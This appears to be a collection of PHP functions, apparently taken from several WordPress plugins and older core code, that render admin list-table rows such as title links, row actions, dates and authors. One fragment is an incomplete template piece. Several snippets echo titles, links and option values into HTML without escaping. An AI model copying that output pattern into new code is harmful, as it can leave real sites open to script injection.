/** * Output custom columns for icons. * @param string $column */ public function render_social_icon_columns($column) { global $post; switch ($column) { case 'name': $edit_link = get_edit_post_link($post->ID); $title = _draft_or_post_title(); echo '<strong><a class="row-title" href="' . esc_url($edit_link) . '">' . esc_html($title) . '</a>'; _post_states($post); echo '</strong>'; $this->_render_social_icon_row_actions($post, $title); break; case 'shortcode': $shortcode = '[social_icons_group id="' . $post->ID . '"]'; echo '<span class="shortcode"><input type="text" class="regular-text code" onfocus="this.select();" readonly="readonly" value="' . esc_attr($shortcode) . '" /></span>'; break; default: break; } }
/** * {@internal Missing Short Description}} * * @since unknown * * @param unknown_type $page * @param unknown_type $level */ function display_page_row($page, $level = 0) { global $post; static $rowclass; $post = $page; setup_postdata($page); if (0 == $level && (int) $page->post_parent > 0) { //sent level 0 by accident, by default, or because we don't know the actual level $find_main_page = (int) $page->post_parent; while ($find_main_page > 0) { $parent = get_page($find_main_page); if (is_null($parent)) { break; } $level++; $find_main_page = (int) $parent->post_parent; if (!isset($parent_name)) { $parent_name = $parent->post_title; } } } $page->post_title = esc_html($page->post_title); $pad = str_repeat('— ', $level); $id = (int) $page->ID; $rowclass = 'alternate' == $rowclass ? '' : 'alternate'; $posts_columns = get_column_headers('edit-pages'); $hidden = get_hidden_columns('edit-pages'); $title = _draft_or_post_title(); ?> <tr id="page-<?php echo $id; ?> " class="<?php echo $rowclass; ?> iedit"> <?php foreach ($posts_columns as $column_name => $column_display_name) { $class = "class=\"{$column_name} column-{$column_name}\""; $style = ''; if (in_array($column_name, $hidden)) { $style = ' style="display:none;"'; } $attributes = "{$class}{$style}"; switch ($column_name) { case 'cb': ?> <th scope="row" class="check-column"><input type="checkbox" name="post[]" value="<?php the_ID(); ?> " /></th> <?php break; case 'date': if ('0000-00-00 00:00:00' == $page->post_date && 'date' == $column_name) { $t_time = $h_time = __('Unpublished'); $time_diff = 0; } else { $t_time = get_the_time(__('Y/m/d g:i:s A')); $m_time = $page->post_date; $time = get_post_time('G', true); $time_diff = time() - $time; if ($time_diff > 0 && $time_diff < 24 * 60 * 60) { $h_time = sprintf(__('%s ago'), human_time_diff($time)); } else { $h_time = mysql2date(__('Y/m/d'), $m_time); } } echo '<td ' . $attributes . '>'; echo '<abbr title="' . $t_time . '">' . apply_filters('post_date_column_time', $h_time, $page, $column_name, '') . '</abbr>'; echo '<br />'; if ('publish' == $page->post_status) { _e('Published'); } elseif ('future' == $page->post_status) { if ($time_diff > 0) { echo '<strong class="attention">' . __('Missed schedule') . '</strong>'; } else { _e('Scheduled'); } } else { _e('Last Modified'); } echo '</td>'; break; case 'title': $attributes = 'class="post-title page-title column-title"' . $style; $edit_link = get_edit_post_link($page->ID); ?> <td <?php echo $attributes; ?> ><strong><?php if (current_user_can('edit_page', $page->ID) && $post->post_status != 'trash') { ?> <a class="row-title" href="<?php echo $edit_link; ?> " title="<?php echo esc_attr(sprintf(__('Edit “%s”'), $title)); ?> "><?php echo $pad; echo $title; ?> </a><?php } else { echo $pad; echo $title; } _post_states($page); echo isset($parent_name) ? ' | ' . __('Parent Page: ') . esc_html($parent_name) : ''; ?> </strong> <?php $actions = array(); if ($post->post_status == 'trash' && current_user_can('delete_page', $page->ID)) { $actions['untrash'] = "<a title='" . esc_attr(__('Remove this page from the Trash')) . "' href='" . wp_nonce_url("page.php?action=untrash&post={$page->ID}", 'untrash-page_' . $page->ID) . "'>" . __('Restore') . "</a>"; $actions['delete'] = "<a class='submitdelete' title='" . esc_attr(__('Delete this page permanently')) . "' href='" . wp_nonce_url("page.php?action=delete&post={$page->ID}", 'delete-page_' . $page->ID) . "'>" . __('Delete Permanently') . "</a>"; } else { if (current_user_can('edit_page', $page->ID)) { $actions['edit'] = '<a href="' . $edit_link . '" title="' . esc_attr(__('Edit this page')) . '">' . __('Edit') . '</a>'; $actions['inline'] = '<a href="#" class="editinline">' . __('Quick Edit') . '</a>'; } if (current_user_can('delete_page', $page->ID)) { $actions['trash'] = "<a class='submitdelete' title='" . esc_attr(__('Move this page to the Trash')) . "' href='" . wp_nonce_url("page.php?action=trash&post={$page->ID}", 'trash-page_' . $page->ID) . "'>" . __('Trash') . "</a>"; } if (in_array($post->post_status, array('pending', 'draft'))) { if (current_user_can('edit_page', $page->ID)) { $actions['view'] = '<a href="' . get_permalink($page->ID) . '" title="' . esc_attr(sprintf(__('Preview “%s”'), $title)) . '" rel="permalink">' . __('Preview') . '</a>'; } } else { $actions['view'] = '<a href="' . get_permalink($page->ID) . '" title="' . esc_attr(sprintf(__('View “%s”'), $title)) . '" rel="permalink">' . __('View') . '</a>'; } } $actions = apply_filters('page_row_actions', $actions, $page); $action_count = count($actions); $i = 0; echo '<div class="row-actions">'; foreach ($actions as $action => $link) { ++$i; $i == $action_count ? $sep = '' : ($sep = ' | '); echo "<span class='{$action}'>{$link}{$sep}</span>"; } echo '</div>'; get_inline_data($post); echo '</td>'; break; case 'comments': ?> <td <?php echo $attributes; ?> ><div class="post-com-count-wrapper"> <?php $left = get_pending_comments_num($page->ID); $pending_phrase = sprintf(__('%s pending'), number_format($left)); if ($left) { echo '<strong>'; } comments_number("<a href='edit-comments.php?p={$id}' title='{$pending_phrase}' class='post-com-count'><span class='comment-count'>" . _x('0', 'comment count') . '</span></a>', "<a href='edit-comments.php?p={$id}' title='{$pending_phrase}' class='post-com-count'><span class='comment-count'>" . _x('1', 'comment count') . '</span></a>', "<a href='edit-comments.php?p={$id}' title='{$pending_phrase}' class='post-com-count'><span class='comment-count'>" . _x('%', 'comment count') . '</span></a>'); if ($left) { echo '</strong>'; } ?> </div></td> <?php break; case 'author': ?> <td <?php echo $attributes; ?> ><a href="edit-pages.php?author=<?php the_author_meta('ID'); ?> "><?php the_author(); ?> </a></td> <?php break; default: ?> <td <?php echo $attributes; ?> ><?php do_action('manage_pages_custom_column', $column_name, $id); ?> </td> <?php break; } } ?> </tr> <?php }
?> ' /> </td> <td> <strong> <a href='<?php echo get_edit_post_link($rule->ID); ?> ' class='row-title' title='<?php _e('Edit Method', 'woocommerce-advanced-shipping-validation'); ?> '><?php echo _draft_or_post_title($rule->ID); ?> </a><?php _post_states($rule); ?> </strong> <div class='row-actions'> <span class='edit'> <a href='<?php echo get_edit_post_link($rule->ID); ?> ' title='<?php _e('Edit Method', 'woocommerce-advanced-shipping-validation'); ?> '> <?php _e('Edit', 'woocommerce-advanced-shipping-validation'); ?> </a>
/** * Address Column * * @return string */ public function column_title($post) { $data = ""; $lock_holder = wp_check_post_lock($post->ID); if ($lock_holder) { $lock_holder = get_userdata($lock_holder); } $post_type_object = get_post_type_object($post->post_type); $edit_link = get_edit_post_link($post->ID); $can_edit_post = current_user_can('edit_post', $post->ID); $title = apply_filters('wplt_column_title_label', _draft_or_post_title($post), $post); if ($format = get_post_format($post->ID)) { $label = get_post_format_string($format); $data .= '<a href="' . esc_url(add_query_arg(array('post_format' => $format, 'post_type' => $post->post_type), 'edit.php')) . '" class="post-state-format post-format-icon post-format-' . $format . '" title="' . $label . '">' . $label . ":</a> "; } if ($can_edit_post && $post->post_status != 'trash') { $data .= '<a class="row-title" href="' . $edit_link . '" title="' . esc_attr(sprintf(__('Edit “%s”'), $title)) . '">' . $title . '</a>'; } else { $data .= $title; } ob_start(); _post_states($post); $data .= ob_get_clean(); if (isset($parent_name)) { $data .= ' | ' . $post_type_object->labels->parent_item_colon . ' ' . esc_html($parent_name); } $data .= "</strong>\n"; if ($can_edit_post && $post->post_status != 'trash') { if ($lock_holder) { $locked_avatar = get_avatar($lock_holder->ID, 18); $locked_text = esc_html(sprintf(__('%s is currently editing'), $lock_holder->display_name)); } else { $locked_avatar = $locked_text = ''; } $data .= '<div class="locked-info"><span class="locked-avatar">' . $locked_avatar . '</span> <span class="locked-text">' . $locked_text . "</span></div>\n"; } $actions = array(); if ($can_edit_post && 'trash' != $post->post_status) { $actions['edit'] = '<a href="' . get_edit_post_link($post->ID, true) . '" title="' . esc_attr__('Edit this item') . '">' . __('Edit') . '</a>'; } if (current_user_can('delete_post', $post->ID)) { if ('trash' == $post->post_status) { $actions['untrash'] = "<a title='" . esc_attr__('Restore this item from the Trash') . "' href='" . wp_nonce_url(admin_url(sprintf($post_type_object->_edit_link . '&action=untrash', $post->ID)), 'untrash-post_' . $post->ID) . "'>" . __('Restore') . "</a>"; } elseif (EMPTY_TRASH_DAYS) { $actions['trash'] = "<a class='submitdelete' title='" . esc_attr__('Move this item to the Trash') . "' href='" . get_delete_post_link($post->ID) . "'>" . __('Trash') . "</a>"; } if ('trash' == $post->post_status || !EMPTY_TRASH_DAYS) { $actions['delete'] = "<a class='submitdelete' title='" . esc_attr__('Delete this item permanently') . "' href='" . get_delete_post_link($post->ID, '', true) . "'>" . __('Delete Permanently') . "</a>"; } } if ($post_type_object->public) { if (in_array($post->post_status, array('pending', 'draft', 'future'))) { if ($can_edit_post) { $preview_link = set_url_scheme(get_permalink($post->ID)); /** This filter is documented in wp-admin/includes/meta-boxes.php */ $preview_link = apply_filters('preview_post_link', add_query_arg('preview', 'true', $preview_link), $post); $actions['view'] = '<a href="' . esc_url($preview_link) . '" title="' . esc_attr(sprintf(__('Preview “%s”'), $title)) . '" rel="permalink">' . __('Preview') . '</a>'; } } elseif ('trash' != $post->post_status) { $actions['view'] = '<a href="' . get_permalink($post->ID) . '" title="' . esc_attr(sprintf(__('View “%s”'), $title)) . '" rel="permalink">' . __('View') . '</a>'; } } if (is_post_type_hierarchical($post->post_type)) { /** * Filter the array of row action links on the Pages list table. * * The filter is evaluated only for hierarchical post types. * * @since 2.8.0 * * @param array $actions An array of row action links. Defaults are * 'Edit', 'Quick Edit', 'Restore, 'Trash', * 'Delete Permanently', 'Preview', and 'View'. * @param WP_Post $post The post object. */ $actions = apply_filters('page_row_actions', $actions, $post); } else { /** * Filter the array of row action links on the Posts list table. * * The filter is evaluated only for non-hierarchical post types. * * @since 2.8.0 * * @param array $actions An array of row action links. Defaults are * 'Edit', 'Quick Edit', 'Restore, 'Trash', * 'Delete Permanently', 'Preview', and 'View'. * @param WP_Post $post The post object. */ $actions = apply_filters('post_row_actions', $actions, $post); } $data .= $this->row_actions($actions); return $data; }
/** * prints the individual row * * @param object $post * @param int $comment_pending_count * @param string $mode */ protected function _manage_row($post, $comment_pending_count, $mode) { static $rowclass; $global_post = $post; setup_postdata($post); $rowclass = 'alternate' == $rowclass ? '' : 'alternate'; $current_user = wp_get_current_user(); $post_owner = $current_user->ID == $post->post_author ? 'self' : 'other'; $edit_link = get_edit_post_link($post->ID); $title = _draft_or_post_title($post->ID); ?> <tr id='post-<?php echo $post->ID; ?> ' class='<?php echo trim($rowclass . ' author-' . $post_owner . ' status-' . $post->post_status); ?> iedit' valign="top"> <?php $posts_columns = get_column_headers($this->get_content_type()); $hidden = get_hidden_columns($this->get_content_type()); foreach ($posts_columns as $column_name => $column_display_name) { $class = "class=\"{$column_name} column-{$column_name}\""; $style = ''; if (in_array($column_name, $hidden)) { $style = ' style="display:none;"'; } $attributes = "{$class}{$style}"; switch ($column_name) { case 'cb': ?> <th scope="row" class="check-column"><?php if (current_user_can('edit_post', $post->ID)) { ?> <input type="checkbox" name="post[]" value="<?php the_ID(); ?> " /><?php } ?> </th> <?php break; //end case 'cb' //end case 'cb' case 'date': if ('0000-00-00 00:00:00' == $post->post_date && 'date' == $column_name) { $t_time = $h_time = __('Unpublished'); $time_diff = 0; } else { $t_time = get_the_time(__('Y/m/d g:i:s A')); $m_time = $post->post_date; $time = get_post_time('G', true, $post); $time_diff = time() - $time; if ($time_diff > 0 && $time_diff < 24 * 60 * 60) { $h_time = sprintf(__('%s ago'), human_time_diff($time)); } else { $h_time = mysql2date(__('Y/m/d'), $m_time); } } echo '<td ' . $attributes . '>'; if ('excerpt' == $mode) { echo apply_filters('post_date_column_time', $t_time, $post, $column_name, $mode); } else { echo '<abbr title="' . $t_time . '">' . apply_filters('post_date_column_time', $h_time, $post, $column_name, $mode) . '</abbr>'; } echo '<br />'; if ('publish' == $post->post_status) { _e('Published'); } elseif ('future' == $post->post_status) { if ($time_diff > 0) { echo '<strong class="attention">' . __('Missed schedule') . '</strong>'; } else { _e('Scheduled'); } } else { _e('Last Modified'); } echo '</td>'; break; //end case 'date' //end case 'date' case 'title': $attributes = 'class="post-title column-title"' . $style; ?> <td <?php echo $attributes; ?> ><strong><?php if (current_user_can('edit_post', $post->ID) && $post->post_status != 'trash') { ?> <a class="row-title" href="<?php echo $edit_link; ?> " title="<?php echo esc_attr(sprintf(__('Edit “%s”'), $title)); ?> "><?php echo $title; ?> </a><?php } else { echo $title; } _post_states($post); ?> </strong> <?php if ('excerpt' == $mode) { the_excerpt(); } $actions = array(); if ('trash' == $post->post_status && current_user_can('delete_post', $post->ID)) { $actions['untrash'] = "<a title='" . esc_attr(__('Remove this post from the Trash')) . "' href='" . wp_nonce_url("post.php?action=untrash&post={$post->ID}", 'untrash-post_' . $post->ID) . "'>" . __('Restore') . "</a>"; $actions['delete'] = "<a class='submitdelete' title='" . esc_attr(__('Delete this post permanently')) . "' href='" . wp_nonce_url("post.php?action=delete&post={$post->ID}", 'delete-post_' . $post->ID) . "'>" . __('Delete Permanently') . "</a>"; } else { if (current_user_can('edit_post', $post->ID)) { $actions['edit'] = '<a href="' . get_edit_post_link($post->ID, true) . '" title="' . esc_attr(__('Edit this post')) . '">' . __('Edit') . '</a>'; //removing quickedit for now //$actions['inline hide-if-no-js'] = '<a href="#" class="editinline" title="' . esc_attr(__('Edit this post inline')) . '">' . __('Quick Edit') . '</a>'; } if (current_user_can('delete_post', $post->ID) && function_exists('wp_trash_post')) { $actions['trash'] = "<a class='submitdelete' title='" . esc_attr(__('Move this post to the Trash')) . "' href='" . wp_nonce_url("post.php?action=trash&post={$post->ID}", 'trash-post_' . $post->ID) . "'>" . __('Trash') . "</a>"; } else { $actions['delete'] = "<a class='submitdelete' title='" . esc_attr(__('Delete this post permanently')) . "' href='" . wp_nonce_url("post.php?action=delete&post={$post->ID}", 'delete-post_' . $post->ID) . "'>" . __('Delete Permanently') . "</a>"; } if (in_array($post->post_status, array('pending', 'draft'))) { if (current_user_can('edit_post', $post->ID)) { $actions['view'] = '<a href="' . get_permalink($post->ID) . '" title="' . esc_attr(sprintf(__('Preview “%s”'), $title)) . '" rel="permalink">' . __('Preview') . '</a>'; } } else { $actions['view'] = '<a href="' . get_permalink($post->ID) . '" title="' . esc_attr(sprintf(__('View “%s”'), $title)) . '" rel="permalink">' . __('View') . '</a>'; } } $actions = apply_filters('post_row_actions', $actions, $post); $action_count = count($actions); $i = 0; echo '<div class="row-actions">'; foreach ($actions as $action => $link) { ++$i; $i == $action_count ? $sep = '' : ($sep = ' | '); echo "<span class='{$action}'>{$link}{$sep}</span>"; } echo '</div>'; get_inline_data($post); ?> </td> <?php break; //end case 'title' //end case 'title' case 'categories': ?> <td <?php echo $attributes; ?> ><?php $categories = get_the_category(); if (!empty($categories)) { $out = array(); foreach ($categories as $c) { $out[] = "<a href='edit.php?category_name={$c->slug}'> " . esc_html(sanitize_term_field('name', $c->name, $c->term_id, 'category', 'display')) . "</a>"; } echo join(', ', $out); } else { _e('Uncategorized'); } ?> </td> <?php break; //end case 'categories' //end case 'categories' case 'tags': ?> <td <?php echo $attributes; ?> ><?php $tags = get_the_tags($post->ID); if (!empty($tags)) { $out = array(); foreach ($tags as $c) { $out[] = "<a href='edit.php?tag={$c->slug}'> " . esc_html(sanitize_term_field('name', $c->name, $c->term_id, 'post_tag', 'display')) . "</a>"; } echo join(', ', $out); } else { _e('No Tags'); } ?> </td> <?php break; //end case 'tags' //end case 'tags' case 'comments': ?> <td <?php echo $attributes; ?> > <div class="post-com-count-wrapper"> <?php if (!isset($pending_comments)) { $pending_comments = 0; } $pending_phrase = sprintf(__('%s pending'), number_format($pending_comments)); if ($pending_comments) { echo '<strong>'; } comments_number("<a href='edit-comments.php?p={$post->ID}' title='{$pending_phrase}' class='post-com-count'><span class='comment-count'>" . _x('0', 'comment count') . '</span></a>', "<a href='edit-comments.php?p={$post->ID}' title='{$pending_phrase}' class='post-com-count'><span class='comment-count'>" . _x('1', 'comment count') . '</span></a>', "<a href='edit-comments.php?p={$post->ID}' title='{$pending_phrase}' class='post-com-count'><span class='comment-count'>" . _x('%', 'comment count') . '</span></a>'); if ($pending_comments) { echo '</strong>'; } ?> </div> </td> <?php break; //end case 'comments' //end case 'comments' case 'author': ?> <td <?php echo $attributes; ?> ><a href="edit.php?author=<?php the_author_meta('ID'); ?> "><?php the_author(); ?> </a></td> <?php break; //end case 'author' //end case 'author' case 'control_view': ?> <td><a href="<?php the_permalink(); ?> " rel="permalink" class="view"><?php _e('View'); ?> </a></td> <?php break; //end case 'control_view' //end case 'control_view' case 'control_edit': ?> <td><?php if (current_user_can('edit_post', $post->ID)) { echo "<a href='{$edit_link}' class='edit'>" . __('Edit') . "</a>"; } ?> </td> <?php break; //end case 'control_edit' //end case 'control_edit' case 'control_delete': ?> <td><?php if (current_user_can('delete_post', $post->ID)) { echo "<a href='" . wp_nonce_url("post.php?action=delete&post={$post->ID}", 'delete-post_' . $post->ID) . "' class='delete'>" . __('Delete') . "</a>"; } ?> </td> <?php break; //end case 'control_delete //end case 'control_delete default: ?> <td <?php echo $attributes; ?> ><?php do_action('manage_posts_custom_column', $column_name, $post->ID); ?> </td> <?php break; } } ?> </tr> <?php $post = $global_post; }
function single_row($post, $level = 0) { global $mode; static $alternate; $global_post = get_post(); $GLOBALS['post'] = $post; setup_postdata($post); $edit_link = get_edit_post_link($post->ID); $title = _draft_or_post_title(); $post_type_object = get_post_type_object($post->post_type); $can_edit_post = current_user_can('edit_post', $post->ID); $alternate = 'alternate' == $alternate ? '' : 'alternate'; $classes = $alternate . ' iedit author-' . (get_current_user_id() == $post->post_author ? 'self' : 'other'); $lock_holder = wp_check_post_lock($post->ID); if ($lock_holder) { $classes .= ' wp-locked'; $lock_holder = get_userdata($lock_holder); } if ($post->post_parent) { $count = count(get_post_ancestors($post->ID)); $classes .= ' level-' . $count; } else { $classes .= ' level-0'; } ?> <tr id="post-<?php echo $post->ID; ?> " class="<?php echo implode(' ', get_post_class($classes, $post->ID)); ?> "> <?php list($columns, $hidden) = $this->get_column_info(); foreach ($columns as $column_name => $column_display_name) { $class = "class=\"{$column_name} column-{$column_name}\""; $style = ''; if (in_array($column_name, $hidden)) { $style = ' style="display:none;"'; } $attributes = "{$class}{$style}"; switch ($column_name) { case 'cb': ?> <th scope="row" class="check-column"> <label class="screen-reader-text" for="cb-select-<?php the_ID(); ?> "><?php printf(__('Select %s'), $title); ?> </label> <input id="cb-select-<?php the_ID(); ?> " type="checkbox" name="select_posts[]" value="<?php the_ID(); ?> " data-post_id="<?php the_ID(); ?> " data-post_type="<?php echo $post->post_type; ?> " /> <?php if ($can_edit_post) { ?> <div class="locked-indicator"></div> <?php } ?> </th> <?php break; case 'title': $attributes = 'class="post-title page-title column-title"' . $style; if ($this->hierarchical_display) { if (0 == $level && (int) $post->post_parent > 0) { //sent level 0 by accident, by default, or because we don't know the actual level $find_main_page = (int) $post->post_parent; while ($find_main_page > 0) { $parent = get_post($find_main_page); if (is_null($parent)) { break; } $level++; $find_main_page = (int) $parent->post_parent; if (!isset($parent_name)) { /** This filter is documented in wp-includes/post-template.php */ $parent_name = apply_filters('the_title', $parent->post_title, $parent->ID); } } } } $pad = str_repeat('— ', $level); echo "<td {$attributes}><strong>"; // post format filtering if ($format = get_post_format($post->ID)) { $label = get_post_format_string($format); echo '<a href="' . fa_iframe_admin_page_url('fa-mixed-content-modal', array('post_format' => $format, 'post_type' => $post->post_type), false) . '" class="post-state-format post-format-icon post-format-' . $format . '" title="' . $label . '">' . $label . ":</a> "; } // Post title with edit link if ($can_edit_post && $post->post_status != 'trash') { echo '<a target="_blank" class="row-title" href="' . $edit_link . '" title="' . esc_attr(sprintf(__('Edit “%s”'), $title)) . '">' . $pad . '<span id="fa-name-' . $post->ID . '">' . $title . '</span></a>'; } else { echo $pad . '<span id="fa-name-' . $post->ID . '">' . $title . '</span>'; } _post_states($post); if (isset($parent_name)) { echo ' | ' . $post_type_object->labels->parent_item_colon . ' ' . esc_html($parent_name); } echo "</strong>\n"; if ($can_edit_post && $post->post_status != 'trash') { if ($lock_holder) { $locked_avatar = get_avatar($lock_holder->ID, 18); $locked_text = esc_html(sprintf(__('%s is currently editing'), $lock_holder->display_name)); } else { $locked_avatar = $locked_text = ''; } echo '<div class="locked-info"><span class="locked-avatar">' . $locked_avatar . '</span> <span class="locked-text">' . $locked_text . "</span></div>\n"; } if (!$this->hierarchical_display && 'excerpt' == $mode && current_user_can('read_post', $post->ID)) { the_excerpt(); } // actions $actions = array(); // edit link if ($can_edit_post && 'trash' != $post->post_status) { $actions['edit'] = '<a target="_blank" href="' . get_edit_post_link($post->ID, true) . '" title="' . esc_attr(__('Edit this item')) . '">' . __('Edit') . '</a>'; } // View/Preview links if ($post_type_object->public) { if (in_array($post->post_status, array('pending', 'draft', 'future'))) { if ($can_edit_post) { /** This filter is documented in wp-admin/includes/meta-boxes.php */ $actions['view'] = '<a target="_blank" href="' . esc_url(apply_filters('preview_post_link', set_url_scheme(add_query_arg('preview', 'true', get_permalink($post->ID))))) . '" title="' . esc_attr(sprintf(__('Preview “%s”'), $title)) . '" rel="permalink">' . __('Preview') . '</a>'; } } elseif ('trash' != $post->post_status) { $actions['view'] = '<a target="_blank" href="' . get_permalink($post->ID) . '" title="' . esc_attr(sprintf(__('View “%s”'), $title)) . '" rel="permalink">' . __('View') . '</a>'; } } if (is_post_type_hierarchical($post->post_type)) { /** * Filter the array of row action links on the Pages list table. * * The filter is evaluated only for hierarchical post types. * * @since 2.8.0 * * @param array $actions An array of row action links. Defaults are * 'Edit', 'Quick Edit', 'Restore, 'Trash', * 'Delete Permanently', 'Preview', and 'View'. * @param WP_Post $post The post object. */ $actions = apply_filters('fa_page_row_actions', $actions, $post); } else { /** * Filter the array of row action links on the Posts list table. * * The filter is evaluated only for non-hierarchical post types. * * @since 2.8.0 * * @param array $actions An array of row action links. Defaults are * 'Edit', 'Quick Edit', 'Restore, 'Trash', * 'Delete Permanently', 'Preview', and 'View'. * @param WP_Post $post The post object. */ $actions = apply_filters('fa_post_row_actions', $actions, $post); } echo $this->row_actions($actions); get_inline_data($post); echo '</td>'; break; case 'slide_title': $fa_slide = fa_get_slide_options($post->ID); if (isset($fa_slide['title'])) { echo '<td ' . $attributes . '>'; if ($post->post_title != $fa_slide['title']) { echo '<strong>' . $fa_slide['title'] . '</strong>'; } else { echo '<i>' . $fa_slide['title'] . '</i>'; } echo '</td>'; } break; case 'date': if ('0000-00-00 00:00:00' == $post->post_date) { $t_time = $h_time = __('Unpublished'); $time_diff = 0; } else { $t_time = get_the_time(__('Y/m/d g:i:s A')); $m_time = $post->post_date; $time = get_post_time('G', true, $post); $time_diff = time() - $time; if ($time_diff > 0 && $time_diff < DAY_IN_SECONDS) { $h_time = sprintf(__('%s ago'), human_time_diff($time)); } else { $h_time = mysql2date(__('Y/m/d'), $m_time); } } echo '<td ' . $attributes . '>'; if ('excerpt' == $mode) { /** * Filter the published time of the post. * * If $mode equals 'excerpt', the published time and date are both displayed. * If $mode equals 'list' (default), the publish date is displayed, with the * time and date together available as an abbreviation definition. * * @since 2.5.1 * * @param array $t_time The published time. * @param WP_Post $post Post object. * @param string $column_name The column name. * @param string $mode The list display mode ('excerpt' or 'list'). */ echo apply_filters('fa_post_date_column_time', $t_time, $post, $column_name, $mode); } else { /** This filter is documented in wp-admin/includes/class-wp-posts-list-table.php */ echo '<abbr title="' . $t_time . '">' . apply_filters('fa_post_date_column_time', $h_time, $post, $column_name, $mode) . '</abbr>'; } echo '<br />'; if ('publish' == $post->post_status) { _e('Published'); } elseif ('future' == $post->post_status) { if ($time_diff > 0) { echo '<strong class="attention">' . __('Missed schedule') . '</strong>'; } else { _e('Scheduled'); } } else { _e('Last Modified'); } echo '</td>'; break; case 'comments': ?> <td <?php echo $attributes; ?> ><div class="post-com-count-wrapper"> <?php $pending_comments = isset($this->comment_pending_count[$post->ID]) ? $this->comment_pending_count[$post->ID] : 0; ?> <strong class="post-com-count"><span><?php echo $pending_comments; ?> </span></strong> </div></td> <?php break; case 'author': ?> <td <?php echo $attributes; ?> ><?php printf('<a href="%s">%s</a>', fa_iframe_admin_page_url('fa-mixed-content-modal', array('post_type' => $post->post_type, 'author' => get_the_author_meta('ID')), false), get_the_author()); ?> </td> <?php break; default: if ('categories' == $column_name) { $taxonomy = 'category'; } elseif ('tags' == $column_name) { $taxonomy = 'post_tag'; } elseif (0 === strpos($column_name, 'taxonomy-')) { $taxonomy = substr($column_name, 9); } else { $taxonomy = false; } if ($taxonomy) { $taxonomy_object = get_taxonomy($taxonomy); echo '<td ' . $attributes . '>'; if ($terms = get_the_terms($post->ID, $taxonomy)) { $out = array(); foreach ($terms as $t) { $posts_in_term_qv = array(); $posts_in_term_qv['post_type'] = $post->post_type; if ($taxonomy_object->query_var) { $posts_in_term_qv[$taxonomy_object->query_var] = $t->slug; } else { $posts_in_term_qv['taxonomy'] = $taxonomy; $posts_in_term_qv['term'] = $t->slug; } $out[] = sprintf('<a href="%s">%s</a>', fa_iframe_admin_page_url('fa-mixed-content-modal', $posts_in_term_qv, false), esc_html(sanitize_term_field('name', $t->name, $t->term_id, $taxonomy, 'display'))); } /* translators: used between list items, there is a space after the comma */ echo join(__(', '), $out); } else { echo '—'; } echo '</td>'; break; } ?> <td <?php echo $attributes; ?> ><?php if (is_post_type_hierarchical($post->post_type)) { /** * Fires in each custom column on the Posts list table. * * This hook only fires if the current post type is hierarchical, * such as pages. * * @since 2.5.0 * * @param string $column_name The name of the column to display. * @param int $post_id The current post ID. */ do_action('fa_manage_pages_custom_column', $column_name, $post->ID); } else { /** * Fires in each custom column in the Posts list table. * * This hook only fires if the current post type is non-hierarchical, * such as posts. * * @since 1.5.0 * * @param string $column_name The name of the column to display. * @param int $post_id The current post ID. */ do_action('fa_manage_posts_custom_column', $column_name, $post->ID); } /** * Fires for each custom column of a specific post type in the Posts list table. * * The dynamic portion of the hook name, $post->post_type, refers to the post type. * * @since 3.1.0 * * @param string $column_name The name of the column to display. * @param int $post_id The current post ID. */ do_action("fa_manage_{$post->post_type}_posts_custom_column", $column_name, $post->ID); ?> </td> <?php break; } } ?> </tr> <?php $GLOBALS['post'] = $global_post; }
function custom_hubpage_columns($column) { global $post; switch ($column) { case "hub_title": $edit_link = get_edit_post_link($post->ID); $title = _draft_or_post_title(); $post_type_object = get_post_type_object($post->post_type); $can_edit_post = current_user_can($post_type_object->cap->edit_post, $post->ID); echo '<strong><a class="row-title" href="' . $edit_link . '">' . $title . '</a>'; _post_states($post); echo '</strong>'; if ($post->post_parent > 0) { echo ' ← <a href="' . get_edit_post_link($post->post_parent) . '">' . get_the_title($post->post_parent) . '</a>'; } // Excerpt view if (isset($_GET['mode']) && $_GET['mode'] == 'excerpt') { echo apply_filters('the_excerpt', $post->post_excerpt); } // Get actions $actions = array(); $actions['edit'] = '<a href="' . get_edit_post_link($post->ID, true) . '" title="' . esc_attr(__('Edit this item')) . '">' . __('Edit') . '</a>'; if ($can_edit_post && 'trash' != $post->post_status) { $actions['inline hide-if-no-js'] = '<a href="#" class="editinline" title="' . esc_attr(__('Edit this item inline', WPC_CLIENT_TEXT_DOMAIN)) . '">' . __('Quick Edit', WPC_CLIENT_TEXT_DOMAIN) . '</a>'; } if (current_user_can($post_type_object->cap->delete_post, $post->ID)) { if ('trash' == $post->post_status) { $actions['untrash'] = "<a title='" . esc_attr(__('Restore this item from the Trash', WPC_CLIENT_TEXT_DOMAIN)) . "' href='" . wp_nonce_url(admin_url(sprintf($post_type_object->_edit_link . '&action=untrash', $post->ID)), 'untrash-' . $post->post_type . '_' . $post->ID) . "'>" . __('Restore', WPC_CLIENT_TEXT_DOMAIN) . "</a>"; } elseif (EMPTY_TRASH_DAYS) { $actions['trash'] = "<a class='submitdelete' title='" . esc_attr(__('Move this item to the Trash', WPC_CLIENT_TEXT_DOMAIN)) . "' href='" . get_delete_post_link($post->ID) . "'>" . __('Trash', WPC_CLIENT_TEXT_DOMAIN) . "</a>"; } if ('trash' == $post->post_status || !EMPTY_TRASH_DAYS) { $actions['delete'] = "<a class='submitdelete' title='" . esc_attr(__('Delete this item permanently', WPC_CLIENT_TEXT_DOMAIN)) . "' href='" . get_delete_post_link($post->ID, '', true) . "'>" . __('Delete Permanently', WPC_CLIENT_TEXT_DOMAIN) . "</a>"; } } if ($post_type_object->public) { if ('trash' != $post->post_status) { $actions['view'] = '<a href="' . wpc_client_get_slug('hub_page_id') . $post->ID . '" target="_blank" title="' . esc_attr(sprintf(__('Preview “%s”', WPC_CLIENT_TEXT_DOMAIN), $title)) . '" rel="permalink">' . __('Preview', WPC_CLIENT_TEXT_DOMAIN) . '</a>'; } } $actions = apply_filters('post_row_actions', $actions, $post); echo '<div class="row-actions">'; $i = 0; $action_count = sizeof($actions); foreach ($actions as $action => $link) { ++$i; $i == $action_count ? $sep = '' : ($sep = ' | '); echo "<span class='{$action}'>{$link}{$sep}</span>"; } echo '</div>'; get_inline_data($post); break; case "client": $client = get_users(array('role' => 'wpc_client', 'meta_key' => 'wpc_cl_hubpage_id', 'meta_value' => $post->ID)); if ($client) { echo $client[0]->user_login; } break; } }
